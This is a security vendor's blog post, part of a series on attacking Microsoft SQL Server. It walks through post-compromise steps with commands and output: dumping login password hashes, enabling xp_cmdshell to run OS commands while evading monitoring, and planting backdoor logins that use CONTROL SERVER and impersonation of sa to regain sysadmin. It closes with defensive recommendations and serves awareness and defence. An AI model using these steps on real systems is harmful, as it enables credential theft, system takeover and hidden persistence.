Gain System Access and Persistence with SQL Native Attacks – SQL Attacks

Gain System Access and Persistence with SQL Native Attacks – SQL Attacks

What to Do with Your New SQL Kingdom

In the last posts, we explored ways to gain access to MS SQL and to extract the data it contains. The fun thing with MS SQL, though, is that is just the start. Every application has a certain amount of access to other resources. Databases generally have a lot of low-level access to system since their whole purpose in life is to optimize access to data. That means augmenting some basic IO and process management approaches – tasks which require the ability to touch OS functions with high privilege. Microsoft is no exception here, and one might even say that the close relationship the MS SQL platform enjoys to its host OS grants it even more power to be a vehicle to exploiting the layers below. So we will now look at some ways that owning the database can help you own the system it is on, and maybe even more beyond that.

To do these bad things, we will focus on using the access we already gained and working within the MS SQL system itself – so get ready for some SQL statements and commands. I will stick to using the basic command line (sqlcmd.exe), but everything I’m going to do would work in any IDE or other UI that allows SQL and commands to be entered. It is also worth noting (as we have in previous posts) that you can look to a comprehensive system like Metasploit or PowerUpSQL to do much of the heavy lifting here. We will look at the individual commands so we are doing the homework to understand what is happening under the hood a bit. But if all you want it to skip to the end, maybe one of those frameworks is a better choice. Infosec Institute has a pretty good walkthrough on using Metasploit (in the Linux Kali incarnation of the tool) to do much of what we will cover here.

Stealing All Hashes

Possibly the simplest attack you can mount outside the owning and data exfiltration is grabbing password hashes. If you followed our former advice, then you would be keeping the number of SQL native account you have to a minimum and making sure the password complexity is very high. However, most seem to feel that isn’t needed since they still subscribe to the “hard outer shell” approach to security. So you can find some good hashes to crack in the database. You may also find passwords here that are repeated in other places that are more vulnerable here.

Taking the passwords couldn’t be simpler. You already have system level access from your previous progress, and now you just run this SQL:

1> select name, password_hash FROM master.sys.sql_logins
2> go

One of the nice things about databases is they tend to label everything for you. Of course there is a column named “password_hash” to make things easy. You’ll get results like this:

name
password_hash
------------------------------------------------------------------------------------------------------------------------
-------- ---------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
-------------------------------------------
sa
0x020058WHATAMINUTSIMNOTPUTTINGREALHASHESONTHEINTERNETEB5D6B0B2FFC25FF1CE2914A4909E6FF8AAF9940CD3FA4B1DE3434BFF
E6EC074FFA9B9D541829D86A2316463
##MS_PolicyEventProcessingLogin##
0x0200A5WHATAMINUTSIMNOTPUTTINGREALHASHESONTHEINTERNETF8AE1112D238DEEE8288B174B3C5342305937B0DBB48864F67079307D
68CAE5409BB5ABFEC1A1BDA32FE0F4A
##MS_PolicyTsqlExecutionLogin##
0x0200B3WHATAMINUTSIMNOTPUTTINGREALHASHESONTHEINTERNETBC51DFBDF912D734D1A32437EF4423F181B8C3844A41D92C592744387
A863404FA2B356C7BDB1D21778C3068
(3 rows affected)

Hashes in hand, you now go to your favorite hash ripping tool to find the passwords, or maybe use the hashes themselves in compatible PtH style attacks.

Getting OS Right from SQL

One of main reasons bad guys targeted MS SQL early on was how easy it was to get to the OS from inside of SQL. The OS was typically a bit more well protected than the SQL layer. So you took the easy route and targeted SQL. This is still true, but security has improved on every layer so there are some new steps needed. The biggest change is that xp_cmdshell, the easy path from SQL to the OS, is no longer on by default. You must activate it in order for it to work. Of course, once you have system access, this is only a SQL command away. Here’s how to enable it:

1> SP_CONFIGURE 'show advanced options', 1
2> go
Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> reconfigure
2> go
1> SP_CONFIGURE 'xp_cmdshell', 1
2> go
Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> reconfigure
2> go

Once you have this enabled, you can now run commands on the OS level and they will run as if you are the SQL Instance itself. Running them is quite simple:

1> xp_cmdshell 'whoami'
2> go
output
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
---------------
nt service\mssqlserver
NULL
(2 rows affected)
1> xp_cmdshell 'dir c:\'
2> go
output
------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------
---------------
Volume in drive C has no label.
Volume Serial Number is 6EB0-7BF3
NULL
Directory of c:\
NULL
11/15/2017  09:56 AM    <DIR>          cygwin64
04/25/2017  01:22 PM    <DIR>          ExchangeSetupLogs
04/13/2017  08:22 AM    <DIR>          inetpub
12/02/2017  04:30 PM    <DIR>          Installers
05/26/2017  03:12 PM    <DIR>          Licenses
11/16/2017  04:48 PM    <DIR>          New folder
08/22/2013  10:52 AM    <DIR>          PerfLogs
11/17/2017  10:25 AM    <DIR>          Program Files
11/17/2017  10:25 AM    <DIR>          Program Files (x86)
04/27/2017  02:40 PM    <DIR>          RECYCLED
05/15/2017  09:25 AM               133 RUNSTATS.INI
05/26/2017  03:16 PM    <DIR>          SqlScripts
11/17/2017  09:24 AM    <DIR>          Users
05/12/2017  08:27 AM    <DIR>          Windows
05/26/2017  03:15 PM    <DIR>          Zips
1 File(s)            133 bytes
14 Dir(s)  101,923,758,080 bytes free
NULL
(23 rows affected)

By the way, if you are seeing a lot more line breaks and empty lines in your output when you follow along that is expected. I’m removing a bunch of that to make the post more readable.

As you can see, the xp_cmdshell is powerful. With a little creative thinking, you can see how you might enable this, do a few bad things, and then disable it before any one notices the setting change. Many organizations will filter out the activity of the SQL Instance on the server where it runs since there is so much of it and most is noise. That means you also have a decent chance of evading monitoring and log scraping using this method.

Persistence with Control Server Rights

The classic persistence trick is to install a backdoor. This often comes in the form of a user with elevated rights, or a user that has the correct rights to perform some exploit to elevate rights as needed. MS SQL gives you a way to do this without need for any exploits. Remember, you are logged on now with SysAdmin rights. So you can do whatever you want. But you know you can’t stay that way forever without being noticed. What you do is either create an account or grant to an existing account the ‘Control Server’ permission. The notion behind this permission is sound enough – it’s an attempt to allow you to achieve least privilege operations. You can give an account this permission and then it can do many operations without being a full SysAdmin.

The trouble with ‘Control Server’ is twofold. First, the number of things this permission implies is quite large. So even though is it not a full SysAdmin, we will see it can effective be just as powerful. Second, it is not something to which people are generally paying attention. The logins that have this permission aren’t often audited nearly as well as those who are full SysAdmin level. That means they can fly under the radar. Maybe that’s OK because the thing you’re predicting I’ll do with this right is mint myself a full SysAdmin and that will be caught. That’s where the clever combo of ‘Control Server’ and another right can be used to circumvent things. First, let’s give ourselves a login with this right to use:

CREATE LOGIN deadpool WITH PASSWORD = 'WeaponX007';
GO
GRANT CONTROL SERVER TO deadpool;
GO

Once we have that right, we can log on as that user and do something else tricky. This one is a little long, but we’ll break it down immediately below:

1> CREATE LOGIN deadpool WITH PASSWORD = 'WeaponX007';
2> GO
1> GRANT CONTROL SERVER TO deadpool;
2> GO
1> exit
PS C:\Program Files\Microsoft SQL Server\110\Tools\Binn> .\SQLCMD.EXE -U deadpool
Password:
1> GRANT IMPERSONATE ON LOGIN::sa TO deadpool
2> go
Cannot grant, deny, or revoke permissions to sa, dbo, entity owner, information_schema, sys, or yourself.
1> CREATE LOGIN agentx WITH PASSWORD = 'Sept2002for1'
2> go
1> GRANT IMPERSONATE ON LOGIN::sa TO agentx
2> go
1> exit
PS C:\Program Files\Microsoft SQL Server\110\Tools\Binn> .\SQLCMD.EXE -U agentx
Password:
1> EXECUTE AS LOGIN = 'sa';
2> GO
1> EXEC sp_addsrvrolemember 'deadpool', 'sysadmin';
2> go
1> EXEC sp_helpsrvrolemember 'sysadmin';
2> GO
ServerRole
MemberName
MemberSID
------------------------------------------------------------------------------------------------------------------------
-------- ---------------------------------------------------------------------------------------------------------------
----------------- ------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------
sysadmin
sa
0x01
sysadmin
SKYLAB\Administrator
0x010500000000000515000000BA6C8382BF714E62265FE2BDF4010000
sysadmin
NT SERVICE\SQLWriter
0x010600000000000550000000732B9753646EF90356745CB675C3AA6CD6B4D28B
sysadmin
NT SERVICE\Winmgmt
0x0106000000000005500000005A048DDFF9C7430AB450D4E7477A2172AB4170F4
sysadmin
NT Service\MSSQLSERVER
0x010600000000000550000000E20F4FE7B15874E48E19026478C2DC9AC307B83E
sysadmin
NT SERVICE\SQLSERVERAGENT
0x010600000000000550000000DCA88F14B79FD47A992A3D8943F829A726066357
sysadmin
SBCLOUDLAB\Domain Admins
0x0105000000000005150000001C08032737BDC4B5A9185CC700020000
sysadmin
SBCLOUDLAB\Administrator
0x0105000000000005150000001C08032737BDC4B5A9185CC7F4010000
sysadmin
deadpool
0x095CBC678E97B243A372B2BD805B4FD5
(9 rows affected)
1> REVERT;
2> go

What happen here is this:

  1. As the SysAdmin we’ve exploited we created a new login, deadpool, and we granted deadpool the Control Server right.
  2. We log in as deadpool and try to allow ourselves the right to impersonate the sa account. Now, Control Server has that right, but MS SQL is smart enough not to allow you to do it to yourself.
  3. Next we create a second account (which we did as deadpool with the Control Server rights, but we could have done as our SysAdmin, too), and we call that account agentx.
  4. We grant that new agentx login the impersonation rights for sa, and that works fine.
  5. Now we log in as agentx, and we use the impersonation rights to run a command that grants the SysAdmin role to deadpool. Of course, since sa can do anything we could have skipped right to the command we wanted deadpool to run with those rights.

At this point, we have a login, agentx, that can act as sa at will to do anything. Since it’s not a persistent holder of that role, it will not show up in typical audits. That is a powerful bit of persistence.

How to Prevent All This

Clearly, there is a lot more we can do with the tools we’ve built up in this post. We can do anything the SQL Instance can do, and we can hide from typical detection methods while doing it. We only scratched the surface here. There are ways to use ownership chaining, another SQL feature, to extend the reach of these methods across many systems. We can leverage the right of the Instance to write files into system directories to drop in other malware and tools. The list is very long. All of that starts with these basics and you can choke off much of it by preventing these first steps. Things you should consider to prevent these attacks are:

  1. Ensure you have as few SQL logins as possible, and make sure these have uncommon, complex passwords that are changed often and managed well. The difference to crack a hash that’s for a rare and complex password is significant enough to make many simply give up. That also signals that you are not widely reusing passwords and that also becomes a deterrent. Of course, beyond the deterrent, you simply don’t want bad guys to get your passwords.
  2. Make sure any monitoring you have in place is watching for xp_cmdshell enable activity. That would be setting it from 0 to 1, or even allowing advanced options as seen above. Unless you have a very specific reason for using this (most often older applications which depend on that feature), you should always keep it turned off. For SQL 2008 and above, you can also use a DDL Trigger on the Alter Instance event to roll this back as soon as it is run. There’s a good example of how to do this at mssqltips.com. This should stop everyone who doesn’t know to check for such triggers first. But if you have SysAdmin to start with, you can always get around even measures like this. So vigilance is still required.
  3. Keep track of all the logins with Control Server rights as if they were SysAdmin level. Essentially, this right always gets you as much rights as SysAdmin as long as you are patient enough to run a few extra commands. This is another place where a well written trigger may help, too.
  4. Watch for anything that uses the impersonate rights. This is another feature that is more dangerous than useful, and it is often there to support badly written or very old applications that use it.

Post #1: Attacking Microsoft SQL Server Databases

Post #2: Finding Microsoft SQL Server Targets – SQL Attacks

Post #3: Compromise with PowerUpSQl – SQL Attacks

To receive a notification of the next blog in the Microsoft SQL Server Attack Series, please subscribe here: https://go.stealthbits.com/l/71852/2018-01-04/7npywy  

Jonathan Sander is STEALTHbits’ Chief Technology Officer (CTO). As CTO, he is responsible for driving technical innovation, ensuring that STEALTHbits is well positioned in their current and emerging markets, and he will also lead corporate development efforts. Jonathan also plays the role of evangelist at STEALTHbits venues large and small. Prior to STEALTHbits, Jonathan was VP of Product Strategy for Lieberman Software.

As part of Quest Software from 1999 through 2013, he worked with the security and ITSM portfolios. He helped launch Quest’s IAM solutions, directing all business development and product strategy efforts. Previous to that, Mr. Sander was a consultant at Platinum Technology focusing on the security, access control and SSO solutions. He graduated from Fordham University with a degree in Philosophy.

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Start a Free StealthAUDIT® Trial!

No risk. No obligation.